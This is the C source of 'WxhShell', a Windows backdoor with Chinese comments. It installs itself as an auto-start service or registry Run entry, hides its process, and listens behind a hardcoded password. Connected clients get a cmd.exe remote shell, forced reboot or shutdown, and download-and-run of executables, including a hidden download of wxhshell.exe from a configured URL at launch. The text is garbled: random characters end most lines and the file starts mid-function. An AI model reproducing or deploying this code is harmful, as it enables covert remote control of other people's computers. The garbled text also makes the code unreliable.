    if(Boot(SHUTDOWN)) Eu:/U*j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mO]>]   
    else { ZJQFn  
    closesocket(wsh); 1}c'UEr%)  
    ExitThread(0); QnD8L.Dg  
    } _@!vF,Wcf  
    break; abm 3q!a-  
    } Um 6}h@>  
  // 获取shell lZ.lf.{F  
  case 's': { @ci..::5  
    CmdShell(wsh); BWy-R6br  
    closesocket(wsh); X-_VuM_p  
    ExitThread(0); l>b'b e9  
    break; .=TXi<8Brw  
  }  \20} /&  
  // 退出 m7g*zu2#  
  case 'x': { GT)7VFrL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @$n $f  
    CloseIt(wsh); !CcDA/0  
    break; yDKH;o  
    } (lVMy\  
  // 离开 u*;H$&  
  case 'q': { Wm`*IBWA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p\&/m  
    closesocket(wsh); 7xv9v1['  
    WSACleanup(); jhQoBC>:  
    exit(1); =>`z k^  
    break; 'JJKnE zQ  
        } NRJp8G Z%U  
  } DE?k|Get2  
  } Qd kus 214  
aG^E^^Y  
  // 提示信息 v9-4yZU^WR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  IPK1g3Z  
} 7~XA92  
  } vm_]X{80;  
W/xPVmnV  
  return; S-q"'5>  
} B I)@n:p  
qvB{vU  
// shell模块句柄 |cY,@X,X6  
int CmdShell(SOCKET sock) 8|=C/k  
{ Cj-&L<  
STARTUPINFO si; 1:](=%oM&k  
ZeroMemory(&si,sizeof(si)); x@Z{5w_a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #f24a?n|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v$Fz^<Na  
PROCESS_INFORMATION ProcessInfo; T`fT[BaY  
char cmdline[]="cmd"; #jg-q|nd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bUm%#a  
  return 0; jaodcT0  
} IRx% L?  
" WQ6[;&V  
// 自身启动模式 ]zaTX?F:  
int StartFromService(void) IiqqdU]  
{ _$c o Y  
typedef struct .,xyE--;d  
{ sV,Yz3E<u$  
  DWORD ExitStatus; x4c|/}\)*  
  DWORD PebBaseAddress; aYT!xdCI  
  DWORD AffinityMask; ~LpkA`Hn!  
  DWORD BasePriority; \DS*G7.A+&  
  ULONG UniqueProcessId; Lk,q~  
  ULONG InheritedFromUniqueProcessId; SDO:Gma  
}   PROCESS_BASIC_INFORMATION; 'LPyh ;!f  
t e-xhJ&K  
PROCNTQSIP NtQueryInformationProcess; (9I(e^@]  
q9rm9#}[J#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FsJk"$}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZAn @NA=  
n4S`k%CI  
  HANDLE             hProcess; xw}yl4WT{  
  PROCESS_BASIC_INFORMATION pbi; .Ji9j[[#D  
hZ*vk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tt?`,G.(]  
  if(NULL == hInst ) return 0; E-.X%xfO  
>9A18xC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C{85#`z`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G`O*AQ}[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rP7 QW)NF  
c86KDEF  
  if (!NtQueryInformationProcess) return 0; uq s   
!'^l}K>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4jebx jZ  
  if(!hProcess) return 0; k-=lt \?  
7Qd$@  m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xH:L6K/c  
j}//e%$a  
  CloseHandle(hProcess); ik o>G  
#z.n?d2Gd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S._2..%G  
if(hProcess==NULL) return 0; s=(q#Z  
HL4=P,'  
HMODULE hMod; 3pvqF,"~D  
char procName[255]; 4!!PrXE  
unsigned long cbNeeded; Zw0KV%7hD  
=YgH-{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9h\RXVk{tA  
Jk>vn+q8P^  
  CloseHandle(hProcess); T.;{f{  
["Ts7;q9[  
if(strstr(procName,"services")) return 1; // 以服务启动 {Z8GG  
UMRFTwY  
  return 0; // 注册表启动 lL:!d.{  
} 7yyX8p>  
Rk g8  
// 主模块 NJsaTBT  
int StartWxhshell(LPSTR lpCmdLine) U&BCd$  
{ KLW5Ad:/rI  
  SOCKET wsl; aq_K,li #w  
BOOL val=TRUE; }p*|8$#x"  
  int port=0; x6R M)rr  
  struct sockaddr_in door; V 9$T=[  
}8tF.QjR|  
  if(wscfg.ws_autoins) Install(); OJa(Gds  
R;Dj70g  
port=atoi(lpCmdLine); zw15r" R  
Dch\k<Te  
if(port<=0) port=wscfg.ws_port; tNr'@ls  
IxuK<Oe:O  
  WSADATA data; U$gR}8\e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 63l& ihj  
ugTsI~aE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O$6&4p*F.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oMg-.!6  
  door.sin_family = AF_INET; D#1R$4M=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;]grbqXVE  
  door.sin_port = htons(port); J1I,;WGf  
=9ff9 83  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4xg)e` *U  
closesocket(wsl); e7"T37  
return 1; X$6NJ(2G  
} !Ea >tQ|  
^4 $4x  
  if(listen(wsl,2) == INVALID_SOCKET) { i \NV<I  
closesocket(wsl);  ]Pe>T&  
return 1; :po6%}hn  
} ;: _K,FU  
  Wxhshell(wsl); SZe55mK`  
  WSACleanup(); ;@qS#7SRB  
>Vt2@Ee  
return 0; rz_W]/G-P  
nQOdM#dP  
} I?g}q,!]  
IXtG 36O  
// 以NT服务方式启动 Sk 7R;A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -)(=~|,Pq/  
{ ~|S0E:*.  
DWORD   status = 0; (CIcM3|9C  
  DWORD   specificError = 0xfffffff; Wrb[\ ?-  
y*^UGJC:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _-({MX[3k<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kQbZ!yl>[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }ZVond$y4  
  serviceStatus.dwWin32ExitCode     = 0; b)'CP Cu*  
  serviceStatus.dwServiceSpecificExitCode = 0; eg/itty  
  serviceStatus.dwCheckPoint       = 0; WlQCPC  
  serviceStatus.dwWaitHint       = 0; @;OsHudd  
o]&q'>Rf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =QVkY7  
  if (hServiceStatusHandle==0) return; 6:|;O  
`$JvWN,kB  
status = GetLastError(); /5Qh*.(S  
  if (status!=NO_ERROR) &P9fM-]b s  
{ kll!tT-N-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r craf4%  
    serviceStatus.dwCheckPoint       = 0; "dIWHfQB  
    serviceStatus.dwWaitHint       = 0;  Ll; v[Y  
    serviceStatus.dwWin32ExitCode     = status; RBf#5VjOG!  
    serviceStatus.dwServiceSpecificExitCode = specificError; FCNYfjB%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5n2!Y\  
    return; C lf;+G0  
  } w*XM*yJHU  
&6OY ^6<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; af | mk@  
  serviceStatus.dwCheckPoint       = 0; 6k;5T   
  serviceStatus.dwWaitHint       = 0; "|Q.{(|kO1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E<+ G5j  
} ~{lb`M^]h  
X <8|uP4  
// 处理NT服务事件,比如:启动、停止 I ==)a6^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d lfjx  
{ 5&Yt=)c\  
switch(fdwControl) zs]ubJC@  
{ sc+%v1Y#}  
case SERVICE_CONTROL_STOP: J@/4CSCR]  
  serviceStatus.dwWin32ExitCode = 0; xwZ1Q,'C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \0 h>!u  
  serviceStatus.dwCheckPoint   = 0; 18NnXqe-m  
  serviceStatus.dwWaitHint     = 0; ")MHP~ ?  
  { kbb!2`F!%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w>f.@luO4  
  } ho{%7\  
  return; }:faHLYT  
case SERVICE_CONTROL_PAUSE: >gzM-d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]*| hd/j  
  break; #1$4<o#M  
case SERVICE_CONTROL_CONTINUE: 3v_j*wy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wnd #J `  
  break; 3G4WKg.^  
case SERVICE_CONTROL_INTERROGATE: KdozB!\  
  break; I= :yfW  
}; el5Pe{j '  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Kaqx"D  
} W[J2>`k9  
)x\%*ewY  
// 标准应用程序主函数 s3A(`heoq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l=XZBe*[g'  
{ @ xo8"kl  
\m)s"Sh.  
// 获取操作系统版本 @Un/,-ck  
OsIsNt=GetOsVer(); $rj:K)P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `m(ZX\W]  
h *;c"/7  
  // 从命令行安装 Cu%BU}(  
  if(strpbrk(lpCmdLine,"iI")) Install(); .CEC g*f  
~`e!$=  
  // 下载执行文件 Ynf "g#(  
if(wscfg.ws_downexe) {  LkYcFD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aOg9Dqtg)f  
  WinExec(wscfg.ws_filenam,SW_HIDE); YvG$2F|_)  
} &J/!D#  
Cw:|(`9  
if(!OsIsNt) { ~_;.ZZ-H]  
// 如果时win9x,隐藏进程并且设置为注册表启动 YkFLNCg4}  
HideProc(); > )Qq^?U  
StartWxhshell(lpCmdLine); 66>X$nx(z  
} Nt\07*`qCr  
else -]KgLgJ  
  if(StartFromService()) g~21|Sa$[  
  // 以服务方式启动 /xgC`]-  
  StartServiceCtrlDispatcher(DispatchTable); y'>9' /&  
else OcF_x/#  
  // 普通方式启动 |g{50 r'=  
  StartWxhshell(lpCmdLine); J ##a;6@  
Y_]y :H  
return 0; h/C{  
} AUF[hzA  
do^=Oq07$  
c[M4l  
JQ}4{k  
=========================================== ]EF"QLNN(  
'uz o[>p  
R $<{"b  
!2AD/dtt   
,DHH5sDCn  
(&*Bl\YoX  
" ;FwUUKj  
pR0 !bgC  
#include <stdio.h> _^{RtP#=  
#include <string.h> n>JJ Xw,,  
#include <windows.h> hH>a{7V   
#include <winsock2.h> #QlxEs#%  
#include <winsvc.h> 6E_~8oEl  
#include <urlmon.h> fGj66rMGw  
Se[=$W  
#pragma comment (lib, "Ws2_32.lib") [%LGiCU]  
#pragma comment (lib, "urlmon.lib") `@\FpV[|P  
?-&k?I  
#define MAX_USER   100 // 最大客户端连接数 ?7CdJgJp  
#define BUF_SOCK   200 // sock buffer 2vUcSKG7  
#define KEY_BUFF   255 // 输入 buffer D3g5#.$,}>  
+-t&li%F  
#define REBOOT     0   // 重启 (Q `Ps /  
#define SHUTDOWN   1   // 关机 x^[0UA]S9  
!|VtI$I>x  
#define DEF_PORT   5000 // 监听端口 ~^Al#@  
s$f9?(,.Ay  
#define REG_LEN     16   // 注册表键长度 Ro$*bN6p  
#define SVC_LEN     80   // NT服务名长度 y<IHZq`C3  
L6qK3xa}  
// 从dll定义API L1lDDS#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E}w5.1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;gHcDnH)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e"EGqn&!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p{qA%D  
8M3DG=D  
// wxhshell配置信息 yp]vDm  
struct WSCFG { CPsl/.$tC  
  int ws_port;         // 监听端口 {1UU `d  
  char ws_passstr[REG_LEN]; // 口令 [xfg6  
  int ws_autoins;       // 安装标记, 1=yes 0=no p `oB._ R  
  char ws_regname[REG_LEN]; // 注册表键名 ,lCFe0>k!=  
  char ws_svcname[REG_LEN]; // 服务名 +c]D2@ctG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S~z$ =IiB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H,;ZFg/v8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fUq}dAs*K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RigS1A\2l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h+q#|N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (u8OTq@  
Wvd-be  
}; nF3Sfw,  
hn6'$P  
// default Wxhshell configuration ~tNk\Kkv  
struct WSCFG wscfg={DEF_PORT, P-^-~/>n  
    "xuhuanlingzhe", Lo[;{A$u  
    1, ='Oxy  
    "Wxhshell", (Ww SisC~  
    "Wxhshell", 4,)QV_?  
            "WxhShell Service", # NK{]H$fd  
    "Wrsky Windows CmdShell Service", #"C* dNAB  
    "Please Input Your Password: ", ze+S_{  
  1, +N~{6*@uz,  
  "http://www.wrsky.com/wxhshell.exe",  ^LSD_R^N  
  "Wxhshell.exe" \ X6y".|-  
    }; zuJ` 704  
b5|l8<\  
// 消息定义模块 [m x}n+~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; - 3<&sTR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /'v!{m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `x L@%  
char *msg_ws_ext="\n\rExit."; yYaYuf  
char *msg_ws_end="\n\rQuit."; )zP"Uuu  
char *msg_ws_boot="\n\rReboot..."; L^s?EqLXS  
char *msg_ws_poff="\n\rShutdown..."; Pqvj0zUo$  
char *msg_ws_down="\n\rSave to "; EO",|V-  
O9N%dir  
char *msg_ws_err="\n\rErr!"; &7,/^ >">  
char *msg_ws_ok="\n\rOK!"; M-!#-l  
Z +<Y.*6  
char ExeFile[MAX_PATH]; FNl^ lj`Y  
int nUser = 0; rhQO#_`  
HANDLE handles[MAX_USER]; gs@^u#O  
int OsIsNt; z;0]T=g  
[ifQLsHA  
SERVICE_STATUS       serviceStatus; OWN|W,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %z @T /  
"VsS-b^P  
// 函数声明 HqOnZ>D  
int Install(void); Oh}@c~7;  
int Uninstall(void); T(qHi?Y  
int DownloadFile(char *sURL, SOCKET wsh); (ke<^sv7!  
int Boot(int flag); Uzn  
void HideProc(void); eLyIQoW  
int GetOsVer(void); wDh&S{N  
int Wxhshell(SOCKET wsl); w6B`_Z'f  
void TalkWithClient(void *cs); iVqF]2 >  
int CmdShell(SOCKET sock); a}Jy o!.  
int StartFromService(void); KA`)dMWL  
int StartWxhshell(LPSTR lpCmdLine); wp/x|AV  
P}PMRAek  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )fT0FLl|1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q 7+|U%!9  
yg4ILL  
// 数据结构和表定义 G_5NS<JE"S  
SERVICE_TABLE_ENTRY DispatchTable[] = +A_jm!tJS(  
{ 1@<>GDB9  
{wscfg.ws_svcname, NTServiceMain}, B7'2@+(  
{NULL, NULL} /hyCR___  
}; } 4>#s$.2  
 Z\$!:  
// 自我安装 4T<dI6I0  
int Install(void) |@ZyD$?  
{ jm |zn  
  char svExeFile[MAX_PATH]; Rn whkb&&  
  HKEY key; Lhgs|*M  
  strcpy(svExeFile,ExeFile); wK%x|%R[  
/z(s1G.  
// 如果是win9x系统,修改注册表设为自启动 _..5G7%#%  
if(!OsIsNt) { l?beqw:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cmj `WSSa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'ka"0~:NS{  
  RegCloseKey(key); stCFLYox  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fli7Ow?M~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l}Vg;"1'J  
  RegCloseKey(key); gE!`9#..  
  return 0; t`4o&vsj=  
    } Qc:Sf46O  
  } a@gm r%C  
} 7.v{=UP  
else { ~HgN'#Y?  
ZW8;?# _  
// 如果是NT以上系统,安装为系统服务 DZ;2aH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (WS<6j[q  
if (schSCManager!=0) xm<sH!,j  
{ uFi[50  
  SC_HANDLE schService = CreateService y\[GS2nTX  
  ( a% 82I::t  
  schSCManager, &sPu 3.p  
  wscfg.ws_svcname, Hkj| e6  
  wscfg.ws_svcdisp, O`(it %Ho!  
  SERVICE_ALL_ACCESS, f]^ @z<FC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {S5D~A*a+  
  SERVICE_AUTO_START, n %P,"V  
  SERVICE_ERROR_NORMAL, Rv+p4RgA  
  svExeFile, ?x =Sm|Ej  
  NULL, Fd0\T#k  
  NULL, ^TY8,qDA  
  NULL, 51M'x_8  
  NULL, rxIYgh  
  NULL v]KI=!Gs  
  ); #*K!@X  
  if (schService!=0) X<$8'/p r  
  { : ]JsUb{YK  
  CloseServiceHandle(schService); \"@`Rf   
  CloseServiceHandle(schSCManager); >za=v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 12%4>2}~>  
  strcat(svExeFile,wscfg.ws_svcname); - e"XEot~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1HNX 6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z0&I>PG^  
  RegCloseKey(key); ]r1 C  
  return 0; 2$%0~Z5  
    } SxCzI$SGu  
  } ,_t}\7  
  CloseServiceHandle(schSCManager); Hz<)a(r!J  
} _N`pwxpsb  
} =E%<"FB  
=R\-mov$  
return 1; q\5C-f  
} h!>NS ?X7  
\\~4$Ai[  
// 自我卸载 t]%! vXo  
int Uninstall(void) kOuQR$9s  
{ ^l/$ 13=  
  HKEY key; } u7&SU  
q&wXs/$a  
if(!OsIsNt) { \it<]BN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,o j\=2  
  RegDeleteValue(key,wscfg.ws_regname); u~d&<_Z  
  RegCloseKey(key); gb0ZGnI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OECXNx  
  RegDeleteValue(key,wscfg.ws_regname); X{riI^(  
  RegCloseKey(key); <ByDT$E_  
  return 0; IN9o$CZ:  
  } /L"&'~  
} ;42D+q=s  
} ;w}5:3+  
else { w]0jq U6  
gBG.3\[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S\UM0G}v  
if (schSCManager!=0) +nslS:(  
{ KGX?\#-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U!x\oLP  
  if (schService!=0) QcQ|,lA.HI  
  { ;EfMTI}6K  
  if(DeleteService(schService)!=0) { KPA5 X]  
  CloseServiceHandle(schService); MXhRnVz"W  
  CloseServiceHandle(schSCManager); B1Iq:5nmoS  
  return 0; {N,w5!cP  
  } uy;3s=03^  
  CloseServiceHandle(schService); D r$N{d  
  } [}_ar  
  CloseServiceHandle(schSCManager); 7e"(]NC84  
} uNY]%[AnJ  
} ] H[FZY  
| Y1<P^  
return 1; h(G(U_V-Od  
} G:rM_q9\u  
 '[#uf/~W  
// 从指定url下载文件 P5P<-T{-c  
int DownloadFile(char *sURL, SOCKET wsh) n1W}h@>8  
{ :r/rByd'  
  HRESULT hr; *lG$B@;rc|  
char seps[]= "/"; HnqZ7%jeN  
char *token; U-s6h;^ O  
char *file; 3^us;aOr  
char myURL[MAX_PATH]; qO9_ e  
char myFILE[MAX_PATH]; o&~z8/?LA  
wEMUr0Hq  
strcpy(myURL,sURL); c(AjM9s  
  token=strtok(myURL,seps); {w^flizY  
  while(token!=NULL) V*'9yk"  
  { E|Grk  
    file=token; `czXjZE  
  token=strtok(NULL,seps); L4;n$=e  
  } 2s6Hr;^w.1  
VuZmX1x)N  
GetCurrentDirectory(MAX_PATH,myFILE); Ck.GN<#-^P  
strcat(myFILE, "\\"); ( |5g`JDG  
strcat(myFILE, file); q#Qr@Jf  
  send(wsh,myFILE,strlen(myFILE),0); _bks*.9}3b  
send(wsh,"...",3,0); Gf'V68,l$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xI~\15PhG  
  if(hr==S_OK) =4MiV]  
return 0; FM7N|] m  
else "=f*Lk@[  
return 1; <ZrZSt+<  
M=N`&m\  
} 3P6!j  
"5jZS6A]  
// 系统电源模块 si nG $=  
int Boot(int flag) nhCB ])u8l  
{ a4: PufS  
  HANDLE hToken; *G~c6B Z  
  TOKEN_PRIVILEGES tkp; d*>M<6b-  
z4J-qK~2  
  if(OsIsNt) { |ns^' q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HKcipDW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xHr  
    tkp.PrivilegeCount = 1; h=4{.EegG&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $C)@GGY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iQGoy@<R  
if(flag==REBOOT) { "3j0)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G:e}>'  
  return 0; 3^su%z_%  
} IB*%PM TF  
else { U0N[~yW(t1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]aakEU  
  return 0; -G Kelz?h>  
} d$2{_6  
  } "| Q&  
  else { ;LrKXp  
if(flag==REBOOT) { BS|-E6E<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dadMwe_l0  
  return 0; w pCS]2  
} (x$k\H  
else { ?I@3`?'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wc,y+C#V  
  return 0; Mm[%v t40  
} &1':s|c  
} Jc%>=`f  
&&<^wtznO  
return 1; !J6s^um  
} #uXOyiE  
X7 Za Q .  
// win9x进程隐藏模块 _RmE+Xg2  
void HideProc(void) <WbD4Q<3?  
{ 7e=a D~f  
x.r`(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7R2)Klt  
  if ( hKernel != NULL ) 9vj:=,TNu  
  { R&alq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4*9Dh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F#<P FT4i  
    FreeLibrary(hKernel); .$OInh  
  } 1)PR]s:-m@  
ntkinbbD  
return; bA^a@ lv a  
} 8DI|+`OgW  
7kwG_0QO  
// 获取操作系统版本 T i/iD2g  
int GetOsVer(void) p4AXQuOP  
{ e-K8K+7  
  OSVERSIONINFO winfo; q,(&2./  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EqmJXDm  
  GetVersionEx(&winfo); UQdQtj1'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q.] )yqX6  
  return 1; [qI*]  
  else Z{CL!  
  return 0; `x#~ -  
} Yptsq@s  
1*jL2P]D  
// 客户端句柄模块 G_<[sMC8  
int Wxhshell(SOCKET wsl) xXYens}  
{ cU6#^PFu  
  SOCKET wsh; @ixX?N)V  
  struct sockaddr_in client; &B85;  
  DWORD myID; bYgYP|@  
["IJ h  
  while(nUser<MAX_USER) g|HrhUT;  
{ F@lpjW  
  int nSize=sizeof(client); UKBMGzu2:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1G;Ns] u  
  if(wsh==INVALID_SOCKET) return 1; MGz> ,c^wW  
Jqj6L993e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &;skB.  
if(handles[nUser]==0) ^0 lPv!2  
  closesocket(wsh); k$ M4NF~$  
else @~XlI1g$i  
  nUser++; (KMobIP^  
  } &}$D[ 4N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); / IS WC   
j)DZmGg&t  
  return 0; wE \c?*k  
} MB 5[Js|  
DQICD.X6R  
// 关闭 socket KEN-G  
void CloseIt(SOCKET wsh) -]A#G`'  
{ %Tb|Yfyr C  
closesocket(wsh); #G=QL(f>/  
nUser--; |*NrS<"  
ExitThread(0); [L(l++.z  
} I`kp5lGD2  
&NQR*Tn  
// 客户端请求句柄 ~ 7Nyi dV;  
void TalkWithClient(void *cs) v`w?QIB]  
{ L _y|l5  
Lp WEu^j  
  SOCKET wsh=(SOCKET)cs; L# 1vf  
  char pwd[SVC_LEN]; ko>_@]Jb  
  char cmd[KEY_BUFF]; _fCHj$I*]  
char chr[1]; XXcf!~uO  
int i,j; EXcjF  
xi\RUAW  
  while (nUser < MAX_USER) { `VE&Obp[  
P$ef,ZW"  
if(wscfg.ws_passstr) { Hu7zmh5FF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [\ YP8^..  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rM=A"  
  //ZeroMemory(pwd,KEY_BUFF); yj R O9  
      i=0; aF"Z!HD  
  while(i<SVC_LEN) { Hc%\9{zH  
=M#?*e  
  // 设置超时 PcHFj+:  
  fd_set FdRead; )YtL=w?L'  
  struct timeval TimeOut; 05 Q8`  
  FD_ZERO(&FdRead); y;Ln ao7i  
  FD_SET(wsh,&FdRead); pe%)G6@G  
  TimeOut.tv_sec=8; Ur(o&,  
  TimeOut.tv_usec=0; .6F3;bg R7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U3K<@r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h}>/Z3*  
=hOa 0X=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZC*d^n]x.  
  pwd=chr[0]; I<K/d  
  if(chr[0]==0xd || chr[0]==0xa) { `>EvT7u  
  pwd=0; 5 hadA>d  
  break; U(=9&c@]  
  } O9X:1>a@i  
  i++; D>e\OfTR:  
    } C'2 =0oou  
Pq>[q?>?  
  // 如果是非法用户,关闭 socket I 47GQho  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HHTsHb{7  
} 2\\3<  
aZ>\*1   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cu?(P ;mQi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]U1,NhZu  
4`P2FnJ?  
while(1) { &E riskI  
,wi=!KzX  
  ZeroMemory(cmd,KEY_BUFF); 9PqgBq   
U"Hquo  
      // 自动支持客户端 telnet标准   \u-e\w  
  j=0; PbHh?iH  
  while(j<KEY_BUFF) {  M .`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WTYFtZD[yH  
  cmd[j]=chr[0]; |kNGpwpI  
  if(chr[0]==0xa || chr[0]==0xd) { ls7A5 <  
  cmd[j]=0; U.7y8#qf3R  
  break; [ky6E*dV`  
  } {3(.c, q@  
  j++; Z;~[@7`  
    } 9Y%?)t.2  
E5BgQ5'  
  // 下载文件 'b?.\Bm;  
  if(strstr(cmd,"http://")) { |z]2KjF&w-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :t{vgi D9  
  if(DownloadFile(cmd,wsh)) )USC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]z=Vc#+!  
  else ?g;ZbD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3!9 yuf  
  } 8Cs$NUU  
  else { ?5v5:U(A  
{I-a;XBX  
